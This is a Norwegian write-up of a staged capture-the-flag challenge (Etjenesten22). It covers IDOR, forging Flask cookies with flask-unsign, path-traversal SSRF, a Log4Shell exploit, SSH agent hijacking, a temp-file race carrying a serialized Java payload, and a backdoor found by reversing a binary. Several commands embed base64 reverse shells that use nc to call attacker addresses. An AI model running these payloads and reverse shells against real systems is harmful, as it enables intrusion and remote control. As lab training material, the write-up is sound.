Home Etjenesten22 - Oppdrag
Post
Cancel

Etjenesten22 - Oppdrag

Vi får utlevert INTREP.txt, som er oppdragsbeskrivelsen, og en pcap-fil.
Vi får vite at pcap-filen inneholder nettverkstrafikken fra et angrep på en maskin.
I tillegg nevnes det i oppdragsbeskrivelsen at aktøren som har utført angrepet har benyttet domenet anvilnotes.cybertalent.no tidligere.

2.01_pcap

Hvis vi kjører strings på pcap filen finner vi flagg 1 gjemt i en header i en av requestene som er gjort under angrepet.

1
2
3
4
5
6
login@corax:~/2_oppdrag$ strings COMPROMISE_PWR-WS-CAF5DB.pcap
GET / HTTP/1.1
Host: pwr-07-ws-caf5db
Accept: */*
X-Flag: caf5db3e4479b9c3dcb91e43ef9aa497
<snip>

Alternativt kan man finne dette flagget ved å analysere nettverkstrafikken i wireshark. Packet nummer 6 inneholder flagget i den ene headeren. flagg1

2.02_anvilnotes

Hvis vi undersøker anvilnotes domenet kommer vi til en nettside som ser ut til å inneholde notater, men for å se på eller lagre notater må man ha en bruker.

Vi kan lage en bruker og logge inn med, og det eneste vi kan gjøre er å lage et nytt notat. Når man lager et nytt notat, og trykker view for å se på notatet, endrer url-en seg til noe lignende som https://anvilnotes.cybertalent.no/note/2603090503967072992, hvor hvert notat får en unik id.
Hvis man tester for en IDOR (Insecure Direct Object Reference) ved å endre notat-id-en i urlen til 1, https://anvilnotes.cybertalent.no/note/1, så får man se et admin-notat med flagget inkludert inni. flagg2

2.03_anvilnotes_admin

I notatet ser vi at Secure flask token using military grade encryptions that can’t be unsigned using open software. ikke er krysset av, som betyr at det hintes til at den signerte cookien vår ikke nødvendigvis er så veldig sikker.
Hvis vi dekoder cookien kan vi se hva den inneholder. cookie

Den inneholder et brukernavn og er signert. Hvis vi kan endre brukernavnet vil vi kunne bli en annen bruker enn test brukeren vi er.

Siden det hintes om at man kan unsigne cookien med open software, og cookien ligner litt en flask-cookie, så prøver vi å unsigne den med toolet flask-unsign.

Unsigner og signer flask-cookie med flask unsign og dens default wordlist

1
2
3
4
5
6
7
8
flask-unsign --unsign --cookie "eyJ1c2VybmFtZSI6InRlc3QifQ.Y7SnvQ.dtF4FoEEHSZOKgC8l7-T9m4RCUE"                                     
[*] Session decodes to: {'username': 'test'}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[*] Attempted (2304): -----BEGIN PRIVATE KEY-----t;
[*] Attempted (25472): -----BEGIN PRIVATE KEY-----***
[+] Found secret key after 35456 attemptseyw for real
'This is an UNSECURE Secret. CHANGE THIS for production environments.'

Secreten er This is an UNSECURE Secret. CHANGE THIS for production environments., og nå kan vi bli hvilken som helst bruker (i dette tilfellet vil vi bli admin).

Vi lager en ny cookie for å bli admin, og får tak i flagget.

1
2
flask-unsign --sign --cookie "{'username': 'admin'}" --secret "This is an UNSECURE Secret. CHANGE THIS for production environments."
eyJ1c2VybmFtZSI6ImFkbWluIn0.Y7Sdlw.tel5b0iCATCPg8pSqBzWwUnE1Ic

2.04_anvilnotes_password

Som admin har vi fått en ekstra funksjonalitet som er at vi kan generere pdfer av notatene våre.

Hvis man med Burpsuite snapper opp POST-requesten som sendes til /genpdf når man skal generere en pdf så ser man at det er et id-felt som sendes i bodyen til requesten. Id-en er den samme som notatet sin id.

1
id=1

Ved litt testing for path-traversal vil man fort finne ut at hvis man sender id=../../ så får man en oversikt over alle api-endepunktene som er tilgjengelige når man skal generere en pdf.

1
2
3
4
/api/decrypt
/api/encrypt
/api/user/{user}
/api/users

Hvis vi endrer id-feltet i POST-requesten til id=../../api/users får vi en oversikt over alle brukerne. Det virker dermed som om at man kan påvirke requests som sendes i bakgrunnen på serveren som kjører nettsiden.

1
["admin","Benjamin","Brian","Cynthia","Frank","George","Henry","Jason","Julia","Karen","Laura","Marilyn","Mark","Mary","Olivia","oper","Richard","Russell","Samuel","Sharon","Stephen","test","Theresa"]

Her stikker oper brukeren seg litt ut, og vi kan ta en kikk på informasjonen om den brukeren ved å endre id-en til id=../../api/user/oper.

1
{"password":"1f96987d96345a5c73a7b7bd674f61356c981e19f6d0d1138c56048ce764309ec1f30fbc851a6ce81602dd4f5d7f970ffca698e9bb47507a223b6752eee2e64ad2cc03c7b2c91e","username":"oper"}

Vi har fått det krypterte passordet til brukeren. Siden vi har et krypter passord, og et api-endepunkt ved navn /api/decrypt kan vi prøve å dekryptere passordet. Da vi fikk ut oversikten over alle api-endepunktene fikk vi også en beskrivelse av endepunktene

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
"/api/decrypt": {
      "get": {
        "description": "",
        "parameters": [
          {
            "in": "GET(urlargs) or POST(body)",
            "name": "data",
            "required": true,
            "type": "hex string"
          }
        ],
        "produces": [
          "plaintext string"
        ],
        "responses": {},
        "summary": "Decrypt our data with secret internal key"
      }

Ved å sende en GET-request til decrypt-endepunktet id=../../api/decrypt?data=1f96987d96345a5c73a7b7bd674f61356c981e19f6d0d1138c56048ce764309ec1f30fbc851a6ce81602dd4f5d7f970ffca698e9bb47507a223b6752eee2e64ad2cc03c7b2c91e finner man ut at passordet til brukeren er flagget. Admin-brukeren har det samme flagget til passord, selv om deres krypterte passord er forskjellige.

2.05_anvilnotes_source

Med listen over alle de registrerte brukerne på nettsiden kan vi prøve å logge inn som oper-brukeren. Vi kan f.eks bruke samme metode med cookie-signeringen som da vi ble admin

1
2
flask-unsign --sign --cookie "{'username': 'oper'}" --secret "This is an UNSECURE Secret. CHANGE THIS for production environments."
eyJ1c2VybmFtZSI6Im9wZXIifQ.Y7SlIQ.zJHQA-ucSfWDco2KMSEb76h4aFU

Som oper-brukeren finner vi flagget i toppen av begge notatene (samme flagget) til brukeren, sammen med base64-enkodet tekst, som kommer til nytte senere.

2.06_pwr_ws_caf5db

Vi kan i pcap fila se angrepet som ble utført av aktøren mot maskinen. Denne delen av User-Agenten, ${jndi:ldap:, kan brukes i et Log4Shell angrep, og Log4Shell mistankes styrkes når vi også ser at det er en Jetty webserver, som er en java-webserver. Vi kan rekonstruere angrepet for å få shell på den samme maskinen som aktøren har vært inne på.

1
2
3
4
5
6
7
8
9
10
11
12
13
GET / HTTP/1.1
Host: pwr-07-ws-caf5db
Accept: */*
X-Flag: caf5db3e4479b9c3dcb91e43ef9aa497
User-Agent: ${jndi:ldap://10.0.30.98:1389/Basic/Command/Base64/ZWNobyBzc2gtZWQyNTUxOSBBQUFBQzNOemFDMWxaREkxTlRFNUFBQUFJTVRnYnlrZW1wZEFaNEZhaHpMUit0c2NrdFNsaUt0RWR3Wk9sWllXQkhxQyA%2bPiAuc3NoL2F1dGhvcml6ZWRfa2V5cw==}

HTTP/1.1 404 Not Found
Date: Tue, 13 Dec 2022 11:56:07 GMT
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked
Server: Jetty(9.4.z-SNAPSHOT)

<html><body><h2>404 Not found</h2></body></html>

Jeg brukte denne poc-en for å skaffe meg shell, etter litt endringer av paths til javac og java-binaryen.

Start ldap and http server

1
login@corax:~/oppdrag$ python3 exploit.py --userip <ip>

Start nc serer for revshell

1
login@corax:~/oppdrag$ nc -lnvp 9001

Send payload med reverse-shell

1
login@corax:~/oppdrag$ curl PWR-WS-CAF5DB.PSU -H 'User-Agent: ${jndi:ldap://<ip>:1389/Basic/Command/Base64/cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDxpcD4gOTAwMSA+L3RtcC9m}'

Og vi får ganske raskt et callback til netcat listeneren vår.

1
2
3
4
5
login@corax:~$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 10.1.26.169 52874
ls
FLAGG

2.07_shady-aggregator

Inne på maskinen pwr-ws-caf5db kan vi se noen unormale kjørende prosesser

1
2
3
4
5
6
user@pwr-ws-caf5db ~> ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
<snip>
user         430  0.0  0.0   9100  2016 ?        Ss   11:23   0:00 ssh: /home/user/.ssh/cp/archive@shady-aggregator_737236436b188023edcd4d77faeb428ba6e6f708 [mux]
user        7104  0.0  0.5 2264656 42524 pts/0   Sl+  11:40   0:04 java -jar .client
<snip>

Det ser ut som om det er en ssh-socket som er aktiv på maskinen, og det brukes Agent Forwarding til maskinen vi er på, som gjør at vi kan utnytte forbindelsen som er aktiv. Jeg har ikke noe erfaring med dette fra tidligere, men Hacktricks kommer til god hjelp her.

Exploiten gjøres ved å sette SSH_AUTH_SOCK til agent.xxxx som ligger i /tmp/ssh-xxxx/, og ssh-e inn til maskinen som er koblet til oss (som basert på ps aux resultatet vi kan se er archive@shady-aggregator)

1
2
user@pwr-ws-caf5db ~> export SSH_AUTH_SOCK=/tmp/ssh-xxxx/agent.xxxx
user@pwr-ws-caf5db ~> ssh archive@shady-aggregator

Vi finner flagg 7 i home-mappa til archive brukeren.

2.08_client_list

Vi kan også se en kjørende prosess java -jar .client som er unormal. Vi kan finne directory som denne jar-filen kjører i ved å bruke pwdx.

1
2
user@pwr-ws-caf5db ~> pwdx <pid>
<pid>: /tmp/.tmp

Her kommer den base64-enkodede teksten fra da vi fant flagg 5 til nytte. Den base64-enkodede teksten vi fant der viser seg å være kildekoden til .client. I tillegg det en annen base64-enkodet tekst vi fant sammen med client-kildekoden, som var serverkoden som klienten snakker med. Det viser seg at vi har en c2 med en klient og en server som snakker sammen.

Full URL til serveren finner vi i .config fila til klienten.

1
2
3
4
5
user@pwr-ws-caf5db /t/.tmp> java -jar .client --get-config
* ID: 42FD29AED93B779C
* sleepDuration: 60
* serverURL: http://shady-aggregator.utl/f52e6101/
* Pending commands:

Hvis vi ser i server-koden har vi oversikten over alle endepunktene til serveren.
Flagget ligger i endepunktet som viser alle klientene som serveren har kommunisert med, list.

1
2
3
4
5
6
7
8
user@pwr-ws-caf5db /t/.tmp> curl "http://shady-aggregator.utl/f52e6101/list"
ID               | NAME                             | LAST CHECKIN
-----------------+----------------------------------+--------------------
DEADBEEFDEADBEEF | test-3                           | 2023-01-04 14:48:17
18F53CE5F533ACF7 | aurum                            | 2023-01-04 14:47:24
42FD29AED93B779C | pwr-ws-caf5db                    | 2023-01-04 12:25:31
FLAGG            | 260c54fac22eb752739f2978fff9e021 | 2022-11-30 17:48:21
<snip>

2.09_cloud-hq

I klient- og serverkoden kan vi se at klientene henter og kjører kommandoer fra serveren periodisk.

Serveren tar inn et serialisert javaobjekt fra en POST-request, og lagrer innholdet i e midlertidig fil i mappen /tmp/.../, som ligger på shady-aggregator serveren vi fikk tilgang til ved flagg 7. Deretter blir objektet deserialisert og dens signatur verifisert, før det serialiserte objektet fra requesten blir lagt til i databasen.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@app.route(PREFIX + "<client_id>/commands", methods=["POST"])                                 
def add_command(client_id):                                                                   
    upload_file = request.files.get("file", None)                                             
    if not upload_file:     
        logger.warning("missing file argument")                                               
        return Response("", 400)

    with tempfile.NamedTemporaryFile(dir=WORKSPACE) as f:                                     
        command_file = f.name
        upload_file.save(command_file)                                                        

        try:                  
            obj = Command(f)                                                                  
            obj.verify()                       

            logger.info(f"registering new command for client {client_id}")
            add_command_to_db(client_id, obj.run_after, command_file)                         
            return Response(f"OK\n", 200)

        except:           
            logger.exception("invalid command or signature")                                  
            return Response("", 400)

Vi vil her legge inn et custom javaobjekt som gir oss RCE, men signaturen er ikke bare bare å komme seg forbi.
Det viser seg at vi har write-access til mappen hvor den midlertidige filen lagres når signatursjekken gjøres, før innholdet dens legges i databasen. Vi kan dermed endre innholdet i filen før den blir lagt til i databasen.

Vi kan ikke endre tmp-filen direkte, ettersom den er eid av en annen bruker, og vi ikke har write-access til den, men siden vi har write-access til mappa kan vi endre filnavnet til tmp-filen til noe annet, og navngi vår malicious fil det originale navnet til tmp-filen laget av serveren.

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash

while [ ! -f /tmp/.../tmp* ] ;
do
        :
done
FILES=$(find /tmp/.../ -type f -name tmp*)
for file in $FILES; do
        mv $file /tmp/.../old
        echo "rO0ABXNyAAx1dGlscy5Db25maWckMIA0IdNZPQMABEkADXNsZWVwRHVyYXRpb25MAAJpZHQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAD3BlbmRpbmdDb21tYW5kc3QAFUxqYXZhL3V0aWwvQXJyYXlMaXN0O0wACXNlcnZlclVSTHEAfgABeHB3LQAQMjRCRjhBRERFMzY0NzZERAAAADwAEWh0dHA6Ly9sb2NhbGhvc3QvAAAAAXNyABBjb21tYW5kcy5FeGVjdXRlwc/Tv3sKMBsCAAB4cgAQY29tbWFuZHMuQ29tbWFuZNc+MbgBwcJxAgAETAAJcmVjaXBpZW50cQB+AAFMAAhydW5BZnRlcnQAE0xqYXZhL3RpbWUvSW5zdGFudDtbAAlzaWduYXR1cmV0AAJbQkwABXZhbHVlcQB+AAF4cHQAA0FMTHNyAA1qYXZhLnRpbWUuU2VylV2EuhsiSLIMAAB4cHcNAgAAAAAAAAABAAAAAHh1cgACW0Ks8xf4BghU4AIAAHhwAAAAPjA8AhxJfrZYbBxJRDs47IR9Qfh7UFAXjtN9IOkrL/DaAhxBCMLCFi1nFZOO4XO1S6Kav6MZHZDBwrtKKFEcdABJcm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDEwLjEuMjYuMTY4IDkwMDEgPi90bXAvZng=" | base64 -d > $file
done

Dette bash-scriptet kjører i en uendelig loop helt til en file med tmp i navnet sitt eksisterer, så endres filnavnet dens og vi lager en fil med samme navn med vårt eget innhold. Signaturen som verifiseres blir da for det originale objektet (som er et default objekt vi har tilgang på fra home-mappa til brukeren vi er), mens filen som lagres i databasen er vår fil.

Vi starter bash-scriptet som archive brukeren på serveren hvor tmp-filene lagres, og starter bash-scriptet. Så starter vi netcat listeneren vår for reverse-shellet, og sender POST-requesten; curl -v -X POST "http://shady-aggregator.utl/f52e6101/DEADBEEFDEADBEEF/commands" -F file=@cmd_sysinfo. Vi får da etter litt shell på maskinen cloud-hq-79. Flagg 9 ligger i hjem-mappen til oper brukeren vi har shell som.

2.10_infrastruktur

I home-mappen til oper brukeren ligger det en del ekstra filer. Hvis vi ser i ~/src/client/GenCommand.java finner vi flagg 10.

2.11_aurum_shell

For del 2 av oppdraget har vi en ny klient som periodisk sjekker inn hos c2-serveren, så vi bruker samme måte for å få reverse-shell som flagg 9, og får shell på en ny maskin, aurum, som brukeren user.
Flagget ligger i home-mappa til brukeren.

2.12_missile_targets

Hvis vi ser i .bash_history filen til brukeren ser vi at følgende aktivitet som har blitt utført

1
2
3
4
5
6
7
8
9
10
ls -lah       
which signer
signer --help
echo "Testing testing" > test.txt && signer --file-name test.txt --key-file privkey.pem --rng-source urandom
rm test.txt
konekt
signer --file-name missile.1.3.37.fw --key-file privkey.pem --rng-source urandom
mv missile.1.3.37.fw_signed missile.1.3.37.fw
konekt              
rm privkey.pem missile.1.3.37.fw

Vi kan se at vi har 2 binaries, signer og konekt. Signer binarien ser ut som et program som signerer filer (denne har nok med en senere del av oppdraget å gjøre), mens konekt ser ut som et slags kontroll-panel når man kjører programmet, men hvor vi har minimale privilegier, så det er begrenset hva vi kan gjøre.

1
2
3
4
5
6
7
8
9
user@aurum:~$ konekt
╒══════════════════════════════════════════════════════════════════════════════╕
│                                                                         MAIN │
╞══════════════════════════════════════════════════════════════════════════════╡
│ p: program                                                                   │
│ m: missile                                                                   │
│ f: firmware                                                                  │
│ u: user                                                                      │
└──────────────────────────────────────────────────────────────────────────────┘

Hvis man leter litt rundt i programmet finner man flagg 12 hvis man går til m: missile og l: list submarines with missiles.

1
2
3
4
5
6
7
╒══════════════════════════════════════════════════════════════════════════════╕
│                                                                     MISSILES │
╞══════════════════════════════════════════════════════════════════════════════╡
│ l: list submarines with missiles                                             │
│ s: simulate all missile flights                                              │
│ f: upgrade missile firmware                                                  │
└──────────────────────────────────────────────────────────────────────────────┘

2.13_findflag

Det er 2 filer man kan laste ned

1
2
3
4
5
6
7
8
╒══════════════════════════════════════════════════════════════════════════════╕
│                                                                         list │
╞══════════════════════════════════════════════════════════════════════════════╡
│ filename                                                            |   size │
│ --------------------------------------------------------------------+------- │
│ missile.1.3.37.fw                                                   | 160964 │
│ server-software.tar.xz                                              |1209804 │
└──────────────────────────────────────────────────────────────────────────────┘

Den ene ser ut som om er noen firmware til missilene det ser ut som om man kan styre hvis man har admin-aksess, og den andre ser ut som server-koden til en server. Når man har lastet ned den komprimerte server-filen, og pakket den ut får man en del libraries og en aarch64 executable. Denne executablen kan vi reversere med ghidra.

Det er en fil med ganske mange funksjoner, men den funksjonen som er mest interessant heter ui_read_key og er funksjonen som tar keyboard-input når vi er i konekt programmet (det viser seg at når vi kjører konekt-programmet så kobler vi oss til en annen maskin som kjører denne server koden).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ulong ui_read_key(void)
{
  ssize_t sVar1;
  ulong uVar2;
  byte local_1;

  sVar1 = read(*(int *)(_session + 1),&local_1,1);
  if (sVar1 == 1) {
    _history.0 = (ulong)local_1 | _history.0 << 8;
    if (_history.0 == 0x726f6f646b636162) {
      **_session = **_session ^ 2;
    }
    else if (_history.0 == 0x7363726f6c6c2121) {
      *(byte *)(_session + 2) = *(byte *)(_session + 2) ^ 1;
    }
    uVar2 = (ulong)local_1;
  }
  else {
    uVar2 = 0xffffffff;
  }
  return uVar2;
}

Denn funksjonen leser bokstaven som vi gir som input, og gir tilbake antall bytes lest i sVar1. Hvis vi har skrevet inn en bokstav, så gjøres det to rare sjekker, og så returneres hex-verdien til bokstaven vi skrev inn.

Hvis gjør om hex-verdiene til ascii-format vil vi få

1
2
3
4
5
6
  <snip>
  if (_history.0 == "roodkcab") {
    **_session = **_session ^ 2;
  }
  else if (_history.0 == "scroll!!") {
  <snip>

history.0 variabelen ser ut til å være de 8 siste bokstavene vi har skrevet inn, og hvis vi skriver inn èn av de to tekst-strengene så skjer noe med sessionen vår. Hvis vi skriver “scroll!!” endres bare formatet kontroll-panelet vårt printer på, men hvis vi skriver “roodkcab” få vi plutselig developer privilegier i kontroll-panelet, som gir oss litt ekstra funksjoner vi ikke hadde tidligere (oppgradere missil-firmware, og endre navn på brukeren vår).

Hvis vi endrer navnet på brukeren vår til å være ingenting (bare trykke “enter” og ikke gi noen bokstaver), så får vi alle privilegier og er basically admin. Denne var ganske enkel å kunne snuble over, men grunnen ser ut til å ha med hvordan sessionen vår i binaryen blir satt når vi ikke gir et nytt navn til brukeren vår.

Nå som vi har full access til kontroll-panelet kan vi kjøre filer som vi har tilgjengelige, hvorav en av programmene heter findflag.prg. Ved å kjøre dette programmet får vi flagget.

4. Skjulte flagg

4.2_corax_dev_shm

I /dev/shm ligger det en fil .secret med flagget inni

1
2
login@corax:~$ cat /dev/shm/.secret
FLAGG: XXX
This post is licensed under CC BY 4.0 by the author.